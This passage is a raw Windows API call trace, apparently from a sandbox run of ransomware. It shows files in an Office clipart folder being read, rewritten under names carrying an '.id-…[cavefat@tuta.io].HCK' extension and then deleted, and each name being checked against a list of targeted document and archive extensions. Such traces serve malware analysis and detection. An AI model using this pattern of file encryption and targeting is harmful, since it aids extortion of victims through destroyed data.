lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.046] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.046] SetEndOfFile (hFile=0x38c) returned 1 [0170.047] CloseHandle (hObject=0x38c) returned 1 [0170.049] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.049] SetEndOfFile (hFile=0x364) returned 1 [0170.053] CloseHandle (hObject=0x364) returned 1 [0170.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf")) returned 1 [0170.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0170.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0170.058] lstrlenW (lpString=".doc") returned 4 [0170.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.058] lstrlenW (lpString=".docx") returned 5 [0170.058] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.058] lstrlenW (lpString=".pdf") returned 4 [0170.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.058] lstrlenW (lpString=".xls") returned 4 [0170.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.058] lstrlenW (lpString=".xlsx") returned 5 [0170.058] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.058] lstrlenW (lpString=".ppt") returned 4 [0170.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0170.058] lstrlenW (lpString=".zip") returned 4 [0170.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.058] lstrlenW (lpString=".rar") returned 4 [0170.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.058] lstrlenW (lpString=".bz2") returned 4 [0170.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.058] lstrlenW (lpString=".7z") returned 3 [0170.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0170.058] lstrlenW (lpString=".dbf") returned 4 [0170.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0170.058] lstrlenW (lpString=".1cd") returned 4 [0170.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0170.058] lstrlenW (lpString=".jpg") returned 4 [0170.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0170.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0170.058] lstrlenW (lpString=".doc") returned 4 [0170.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.058] lstrlenW (lpString=".docx") returned 5 [0170.058] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.058] lstrlenW (lpString=".pdf") returned 4 [0170.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.058] lstrlenW (lpString=".xls") returned 4 [0170.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.058] lstrlenW (lpString=".xlsx") returned 5 [0170.058] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.058] lstrlenW (lpString=".ppt") returned 4 [0170.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0170.058] lstrlenW (lpString=".zip") returned 4 [0170.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.058] lstrlenW (lpString=".rar") returned 4 [0170.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.058] lstrlenW (lpString=".bz2") returned 4 [0170.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.058] lstrlenW (lpString=".7z") returned 3 [0170.059] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0170.059] lstrlenW (lpString=".dbf") returned 4 [0170.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0170.059] lstrlenW (lpString=".1cd") returned 4 [0170.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0170.059] lstrlenW (lpString=".jpg") returned 4 [0170.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.059] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.059] lstrlenW (lpString="J0187847.WMF") returned 12 [0170.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0170.064] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=7116) returned 1 [0170.064] CloseHandle (hObject=0x308) returned 1 [0170.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf")) returned 0x220 [0170.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0170.073] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.073] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0170.085] GetLastError () returned 0x0 [0170.085] ReadFile (in: hFile=0x3ac, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1bcc, lpOverlapped=0x0) returned 1 [0170.086] WriteFile (in: hFile=0x374, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1bd0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1bd0, lpOverlapped=0x0) returned 1 [0170.087] ReadFile (in: hFile=0x3ac, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.087] WriteFile (in: hFile=0x374, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.087] SetEndOfFile (hFile=0x374) returned 1 [0170.089] CloseHandle (hObject=0x374) returned 1 [0170.090] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.090] SetEndOfFile (hFile=0x3ac) returned 1 [0170.098] CloseHandle (hObject=0x3ac) returned 1 [0170.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf")) returned 1 [0170.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0170.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0170.102] lstrlenW (lpString=".doc") returned 4 [0170.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.102] lstrlenW (lpString=".docx") returned 5 [0170.102] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0170.102] lstrlenW (lpString=".pdf") returned 4 [0170.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.102] lstrlenW (lpString=".xls") returned 4 [0170.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.102] lstrlenW (lpString=".xlsx") returned 5 [0170.102] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0170.102] lstrlenW (lpString=".ppt") returned 4 [0170.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0170.102] lstrlenW (lpString=".zip") returned 4 [0170.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.103] lstrlenW (lpString=".rar") returned 4 [0170.103] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.103] lstrlenW (lpString=".bz2") returned 4 [0170.103] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.103] lstrlenW (lpString=".7z") returned 3 [0170.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0170.103] lstrlenW (lpString=".dbf") returned 4 [0170.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0170.103] lstrlenW (lpString=".1cd") returned 4 [0170.103] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0170.103] lstrlenW (lpString=".jpg") returned 4 [0170.103] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0170.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0170.103] lstrlenW (lpString=".doc") returned 4 [0170.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.103] lstrlenW (lpString=".docx") returned 5 [0170.103] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0170.103] lstrlenW (lpString=".pdf") returned 4 [0170.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.103] lstrlenW (lpString=".xls") returned 4 [0170.103] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.103] lstrlenW (lpString=".xlsx") returned 5 [0170.103] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0170.103] lstrlenW (lpString=".ppt") returned 4 [0170.103] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0170.103] lstrlenW (lpString=".zip") returned 4 [0170.103] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.103] lstrlenW (lpString=".rar") returned 4 [0170.103] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.103] lstrlenW (lpString=".bz2") returned 4 [0170.103] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.103] lstrlenW (lpString=".7z") returned 3 [0170.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0170.103] lstrlenW (lpString=".dbf") returned 4 [0170.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0170.103] lstrlenW (lpString=".1cd") returned 4 [0170.103] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0170.103] lstrlenW (lpString=".jpg") returned 4 [0170.103] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.104] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.104] lstrlenW (lpString="J0187863.WMF") returned 12 [0170.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0170.104] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=10820) returned 1 [0170.105] CloseHandle (hObject=0x360) returned 1 [0170.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf")) returned 0x220 [0170.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0170.108] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.109] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0170.114] GetLastError () returned 0x0 [0170.114] ReadFile (in: hFile=0x374, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2a44, lpOverlapped=0x0) returned 1 [0170.116] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2a50, lpOverlapped=0x0) returned 1 [0170.117] ReadFile (in: hFile=0x374, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.117] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.117] SetEndOfFile (hFile=0x3ac) returned 1 [0170.120] CloseHandle (hObject=0x3ac) returned 1 [0170.121] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.121] SetEndOfFile (hFile=0x374) returned 1 [0170.125] CloseHandle (hObject=0x374) returned 1 [0170.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.128] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf")) returned 1 [0170.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0170.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0170.129] lstrlenW (lpString=".doc") returned 4 [0170.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.129] lstrlenW (lpString=".docx") returned 5 [0170.129] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.129] lstrlenW (lpString=".pdf") returned 4 [0170.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.129] lstrlenW (lpString=".xls") returned 4 [0170.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.130] lstrlenW (lpString=".xlsx") returned 5 [0170.130] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.130] lstrlenW (lpString=".ppt") returned 4 [0170.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0170.130] lstrlenW (lpString=".zip") returned 4 [0170.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.130] lstrlenW (lpString=".rar") returned 4 [0170.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.130] lstrlenW (lpString=".bz2") returned 4 [0170.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.130] lstrlenW (lpString=".7z") returned 3 [0170.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0170.130] lstrlenW (lpString=".dbf") returned 4 [0170.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0170.130] lstrlenW (lpString=".1cd") returned 4 [0170.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0170.130] lstrlenW (lpString=".jpg") returned 4 [0170.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0170.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0170.130] lstrlenW (lpString=".doc") returned 4 [0170.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.130] lstrlenW (lpString=".docx") returned 5 [0170.130] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.130] lstrlenW (lpString=".pdf") returned 4 [0170.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.130] lstrlenW (lpString=".xls") returned 4 [0170.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.130] lstrlenW (lpString=".xlsx") returned 5 [0170.130] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.130] lstrlenW (lpString=".ppt") returned 4 [0170.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0170.130] lstrlenW (lpString=".zip") returned 4 [0170.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.130] lstrlenW (lpString=".rar") returned 4 [0170.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.130] lstrlenW (lpString=".bz2") returned 4 [0170.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.130] lstrlenW (lpString=".7z") returned 3 [0170.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0170.130] lstrlenW (lpString=".dbf") returned 4 [0170.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0170.131] lstrlenW (lpString=".1cd") returned 4 [0170.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0170.131] lstrlenW (lpString=".jpg") returned 4 [0170.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.131] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.131] lstrlenW (lpString="J0187893.WMF") returned 12 [0170.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0170.142] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5620) returned 1 [0170.142] CloseHandle (hObject=0x388) returned 1 [0170.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf")) returned 0x220 [0170.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0170.151] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.151] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0170.156] GetLastError () returned 0x0 [0170.156] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x15f4, lpOverlapped=0x0) returned 1 [0170.159] WriteFile (in: hFile=0x354, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1600, lpOverlapped=0x0) returned 1 [0170.160] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.160] WriteFile (in: hFile=0x354, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.160] SetEndOfFile (hFile=0x354) returned 1 [0170.164] CloseHandle (hObject=0x354) returned 1 